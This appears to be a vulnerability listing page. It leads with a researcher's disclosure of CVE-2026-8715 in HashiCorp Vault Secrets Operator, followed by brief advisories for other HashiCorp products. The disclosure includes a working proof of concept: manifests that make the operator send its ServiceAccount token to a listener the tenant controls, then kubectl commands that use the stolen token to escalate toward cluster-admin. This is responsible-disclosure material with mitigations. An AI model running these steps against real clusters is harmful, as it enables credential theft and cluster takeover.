See how hashicorp compares to other vendors in security performance
Product: HashiCorp Vault Secrets Operator (VSO) Affected: 1.3.0 up to 1.4.1 Fixed: 1.5.0 CVE: CVE-2026-8715 Vendor: HCSEC-2026-28 CWE: CWE-522 / CWE-918 Authors: Artem Cherezov (@cherez0ff) Trung Nguyen (@everping, CyStack) - independent co-reporter of the same issue to HashiCorp Vendor advisory: https://discuss.hashicorp.com/t/hcsec-2026-28-vault-secrets-operator-vulnerable-to-arbitrary-file-read-via-approle-secretidpath/77645 Write-up: https://cherez0ff.art/blog/vault-secrets-operator-secretidpath-token-theft/
1. SUMMARY
VSO 1.3.0 introduced spec.appRole.secretIDPath on the VaultAuth and VaultAuthGlobal custom resources, letting the operator read its AppRole secretid from a file in its own pod. The path is not restricted to any particular file, and VaultConnection.spec.address accepts an arbitrary URL. Both resources are namespaced and tenant-writable.
Setting secretIDPath to the operator's own projected ServiceAccount token and address to a tenant-controlled listener makes the operator read that token and POST it to the tenant in the AppRole login body.
The leaked token reads and writes Secrets in every namespace and holds create on serviceaccounts/token cluster-wide, which is one hop from cluster-admin.
2. PRECONDITIONS
- VSO 1.3.0 - 1.4.1 installed in the cluster. - Attacker holds create and get on vaultauths, vaultconnections and vaultstaticsecrets in any single namespace. Per the vendor bulletin these correspond to the editor ClusterRoles published by the VSO Helm chart for end users, so this is the intended tenant grant - Attacker can run a pod, or otherwise expose any HTTP endpoint the operator can reach.
No cluster-scoped permission of any kind is required. Deployments that do not let tenants create or modify VaultAuth or VaultConnection are not affected.
3. BACKGROUND
VSO copies secrets out of Vault into Kubernetes Secrets. It introduces three relevant namespaced custom resources:
VaultConnection - address of the Vault instance VaultAuth - how to authenticate there VaultStaticSecret - a request to copy a Vault secret into a K8s Secret
A VaultStaticSecret references a VaultAuth, which references a VaultConnection. All three are namespaced, so a tenant with rights in their own namespace can create all of them.
4. VULNERABILITY
The operator is a single cluster-wide controller reconciling resources it does not trust, and two fields of those resources steer where its own credentials go.
VaultAuth.spec.appRole.secretIDPath (also present on VaultAuthGlobal) was validated only for path traversal sequences, and checked to be a regular file under a size limit. Which file it points at was never constrained, so any readable path in the operator pod qualifies - including /var/run/secrets/kubernetes.io/serviceaccount/token.
VaultConnection.spec.address accepts an arbitrary URL with no allowlist and no restriction to the Vault instance the administrator intended. skipTLSVerify removes the last obstacle.
The operator reads the file and sends its contents as the AppRole secretid in the login request body to that address. A listener answering with any well-formed Vault auth response is enough for the login path to run far enough to transmit the credential.
The operator's ServiceAccount is broadly privileged by design: it must read and write Secrets in every namespace to do its job, and it holds create on serviceaccounts/token. That last verb means the stolen identity can mint a token for any ServiceAccount in the cluster, including controller ServiceAccounts in kube-system, without needing any existing token.
5. PROOF OF CONCEPT
Tested against VSO 1.4.0 on kind v1.31.6. The tenant identity is a ServiceAccount with edit in namespace "tenant" plus create/get on the three VSO CRs there; full cluster and RBAC setup is in the write-up linked above.
5.1 Listener in the tenant namespace, port 8200, logging request bodies and replying with a valid-looking Vault auth response:
resp = b'{"auth":{"clienttoken":"hvs.poc","leaseduration":60,"renewable":false}}'
A python:3.12-slim pod running a BaseHTTPRequestHandler that prints the body and returns the above for any method is sufficient. Expose it as a Service:
kubectl -n tenant expose pod listener --port=8200 --target-port=8200
5.2 Point the operator at the listener and at its own token:
apiVersion: secrets.hashicorp.com/v1beta1 kind: VaultConnection metadata: name: poc namespace: tenant spec: address: http://listener.tenant.svc:8200 skipTLSVerify: true --- apiVersion: secrets.hashicorp.com/v1beta1 kind: VaultAuth metadata: name: poc namespace: tenant spec: vaultConnectionRef: poc method: appRole mount: poc appRole: roleId: poc secretIDPath: /var/run/secrets/kubernetes.io/serviceaccount/token --- apiVersion: secrets.hashicorp.com/v1beta1 kind: VaultStaticSecret metadata: name: poc namespace: tenant spec: vaultAuthRef: poc mount: secret type: kv-v2 path: poc refreshAfter: 10s destination: name: poc-dest create: true 5.3 Read the token out of the listener log:
kubectl -n tenant logs listener | grep -ao '"secretid":"eyJ[^"]"' | head -1
5.4 Use it:
$ export KUBECONFIG=$PWD/kubeconfig-stolen
$ kubectl auth whoami ServiceAccount system:serviceaccount:vault-secrets-operator-system:vault-secrets-operator-controller-manager
$ kubectl -n kube-system auth can-i get secret yes
$ kubectl auth can-i create serviceaccounts/token yes
$ kubectl -n kube-system create token namespace-controller <token>
Enumerate ServiceAccounts, pick one with the permissions you want,mint its token. Cluster-admin follows trivially.
6. IMPACT
Any tenant able to create VSO custom resources in a single namespace obtains read/write on all Secrets cluster-wide and can impersonate arbitrary ServiceAccounts which leads to cluster-admin privilege escalation.
7. MITIGATION
- Upgrade to VSO 1.5.0 or later. The fix removes spec.appRole.secretIDPath outright; existing VaultAuth objects using it must be migrated to spec.appRole.secretRef, which references a Kubernetes Secret holding the AppRole Secret ID. - If you cannot upgrade, reject VaultAuth and VaultAuthGlobal objects that set appRole.secretIDPath with an admission policy (ValidatingAdmissionPolicy or equivalent). - Do not grant tenants create or modify on VaultAuth, VaultAuthGlobal or VaultConnection. Note that the editor ClusterRoles shipped by the VSO Helm chart do grant this. - A NetworkPolicy restricting the operator's egress to the intended Vault endpoint breaks the exfiltration path, though it does not fix the underlying read.
8. TIMELINE
2026-06-14 Reported to HashiCorp 2026-08-13 HCSEC-2026-28 published, fixed in VSO 1.5.0 2026-08-15 Public write-up
-- Artem Cherezovhttps://cherez0ff.art/ | https://github.com/cherez0ff
Latest version: 1.16.1
A vulnerability was identified in HashiCorp Vault and Vault Enterprise (“Vault”) such that an authenticated attacker may manipulate an identity value referenced by a templated policy path to gain unintended access to Vault paths.
An attacker who can control the referenced identity value may include slash ({{/}}) characters that Vault interprets as additional path segments when rendering the policy.
This vulnerability, CVE-2026-5006, was fixed in Vault Community Edition 2.0.4 and Vault Enterprise 2.0.4, 1.21.9, 1.20.14, and 1.19.20.
HashiCorp go-slug 0.4.0 through 0.18.2 could allow a local attacker to bypass .terraformignore exclusions and cause sensitive files to be included in Terraform slug uploads due to improper handling of Unicode normalization during path matching.
Packer up to 1.15.4 is vulnerable to an issue in the third-party plugin installer that may allow unintended file system modification and could lead to code execution. A user who installs a plugin from a malicious or compromised source may be affected. This vulnerability (CVE-2026-19589) is fixed in Packer 1.16.0.
Vault Secrets Operator 1.3.0 up to 1.4.1 is vulnerable to an arbitrary file read and credential exfiltration issue in the AppRole authentication configuration that may allow a tenant with limited Kubernetes RBAC permissions to read files from the operator pod's filesystem and transmit their contents to a tenant-controlled endpoint, potentially leading to privilege escalation within the cluster. This vulnerability (CVE-2026-8715) is fixed in Vault Secrets Operator 1.5.0.
Vault Enterprise's identity entity batch-delete endpoint is vulnerable to a cross-namespace authorization bypass that may allow an authenticated caller in one namespace to permanently delete the storage backing of entities belonging to another namespace. This vulnerability (CVE-2026-14886) is fixed in Vault Enterprise 2.0.4, 1.21.9, 1.20.14 and 1.19.20.
Vault’s ACL policy engine did not consistently enforce a wildcard (glob) deny rule against LIST requests made with a trailing slash on the denied path. This may allow a token holding a broader allow rule alongside a narrower wildcard deny rule to enumerate the names of entries beneath a path it was intended to be denied access to. This vulnerability (CVE-2026-12624) is fixed in Vault Community Edition 2.0.3 and Vault Enterprise 2.0.3, 1.21.8, 1.20.13, and 1.19.19.
Consul Community Edition and Consul Enterprise 1.3.0 through 2.0.2 are vulnerable to an unauthenticated denial of service in several agent HTTP API endpoints. A remote caller could cause the agent to consume substantial memory before the request was rejected. This vulnerability, CVE-2026-19113, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
Consul Community Edition and Consul Enterprise 1.20.1 through 2.0.2 are vulnerable to an L7 intention authorization bypass when a service proxy is configured with a custom public listener. An authenticated mesh workload may reach HTTP paths that are blocked by a path-based deny intention. This vulnerability, CVE-2026-15970, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
Consul Community Edition and Consul Enterprise 1.2.0 through 2.0.2 are vulnerable to an uncontrolled resource consumption issue in the Connect CA roots endpoint that may allow a remote caller to grow the agent's Connect CA roots cache without bound, defeating the operator's cache-disable configuration. This vulnerability, CVE-2026-19015, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
Consul Community Edition and Consul Enterprise 1.17.0 through 2.0.2 are vulnerable to an uncontrolled resource consumption issue in the Connect authorization endpoint that may allow a caller to grow the agent's intention-match cache without bound, defeating the operator's cache-disable configuration. This vulnerability, CVE-2026-190124, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
Consul Community Edition and Consul Enterprise 1.18.0 through 2.0.2 are vulnerable to an authenticated denial of service in the Enterprise-to-Community Edition downgrade path that may allow an authorized caller to crash the Consul server. A caller with config-entry write permission can submit a service-router configuration entry that causes the agent to exit unexpectedly. This vulnerability, CVE-2026-19012, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
Consul Community Edition and Consul Enterprise 1.19.1 through 2.0.2 did not enforce the {{session:write}} ACL permission for session deletion operations submitted through the transaction API. An authenticated caller with network access to the Consul server RPC port could delete arbitrary sessions without holding the required permission. This vulnerability, CVE-2026-19016, is fixed in Consul 2.0.3 and Consul Enterprise 1.21.17, 1.22.11, and 2.0.3.
HashiCorp Nomad and Nomad Enterprise are vulnerable to a cross-namespace authorization bypass in the dynamic host volumes feature that may allow an operator holding the host volume delete permission in one namespace to delete a sticky volume claim belonging to a job in another namespace. This vulnerability, CVE-2026-14896, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.
The consul-template library before version 0.42.1 is vulnerable to a path redirection issue in the writeToFile template helper that may allow template output to be written outside the intended directory or to overwrite an existing file. This vulnerability (CVE-2026-14361) is fixed in consul-template 0.42.1.
HashiCorp Nomad and Nomad Enterprise are vulnerable to a sandbox escape in the Docker task driver that may allow a job submitter to bind-mount a host path into a container even when volume bind mounts are disabled, potentially leading to reading and writing files on the host. This vulnerability, CVE-2026-14891, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.
HashiCorp Nomad and Nomad Enterprise did not enforce the allowprivileged restriction for the Docker task driver's host namespace mode options. This may allow an authenticated job submitter to run a container in a host namespace and access information belonging to the host or to other workloads on the same client. This vulnerability, CVE-2026-14373, is fixed in Nomad Community Edition 2.0.4 and Nomad Enterprise 2.0.4, 1.11.8, and 1.10.14.
HashiCorp memberlist before version 0.6.0 is vulnerable to a denial-of-service issue in its push/pull state handling that may allow an attacker with network access to the gossip port to exhaust memory on a receiving node and cause the process to terminate. This vulnerability (CVE-2026-14362) is fixed in memberlist 0.6.0.
HashiCorp Terraform Enterprise contained an issue in its version control system (VCS) ingestion of registry modules that did not correctly enforce the intended boundary on packaged module content. This may allow an authenticated user to include files from outside the intended repository content in a module and then download them, potentially exposing sensitive files readable by the ingestion process. This vulnerability, CVE-2026-14468, is fixed in Terraform Enterprise v2.0.4 and v1.2.4.
HashiCorp Vault and Vault Enterprise prior to 2.0.1 audit device validation logic did not consistently apply plugin directory protections when the legacy file audit path option was used.
This vulnerability (CVE-2026-5051) is fixed in 2.0.1, 1.21.6, 1.20.11, and 1.19.17.
Latest version: 2.0.3
Terrascan v1.18.3 and prior are vulnerable to Server-Side Request Forgery (SSRF) via the remoteurl parameter in the remote directory scan endpoint (POST /v1/{iac}/{iacVersion}/{cloud}/remote/dir/scan) when running in server mode. An unauthenticated remote attacker can supply an attacker-controlled HTTP URL as remoteurl with remotetype set to "http". The URL is passed directly to hashicorp/go-getter (v1.7.5) without validation. Go-getter's HttpGetter supports the X-Terraform-Get response header, allowing the attacker's server to redirect the download to a file:// URL, enabling local file read. Additionally, HttpGetter has Netrc set to true, causing it to read ~/.netrc and send stored credentials to attacker-controlled hostnames. This affects deployments running terrascan in server mode (terrascan server), which binds to 0.0.0.0 with no authentication. Note: Terrascan was archived in August 2023 and no patch will be released.
HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to code execution on the client host through a path traversal attack. This vulnerability (CVE-2026-7474) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.
HashiCorp Nomad’s exec2 task driver prior to 0.1.2 is vulnerable to arbitrary file read and write on the client host as the Nomad process user through a symlink attack. This vulnerability (CVE-2026-8052) is fixed in version 0.1.2 of the exec2 task driver.
HashiCorp Nomad and Nomad Enterprise prior to 2.0.1 are vulnerable to arbitrary file read and write on the client host as the Nomad process user through a symlink attack. This vulnerability (CVE-2026-6959) is fixed in Nomad 2.0.1, 1.11.5 and 1.10.11.
The consul-template library before version 0.42.0 is vulnerable to a sandbox path bypass in the file template helper that may allow reading an out-of-sandbox file. This vulnerability (CVE-2026-5061) is fixed in consul-template 0.42.0.
Boundary Community Edition and Boundary Enterprise (“Boundary”) workers are vulnerable to a denial-of-service condition during node enrollment TLS handshakes. An attacker with network access to the worker authentication listener may open a connection and delay or withhold the client certificate during the TLS handshake, causing worker connection handling to block. This may prevent legitimate worker connections from being accepted or routed. This vulnerability, CVE-2026-7776, is fixed in Boundary 0.21.3, 0.20.3, 0.19.5.
Latest version: 1.15.9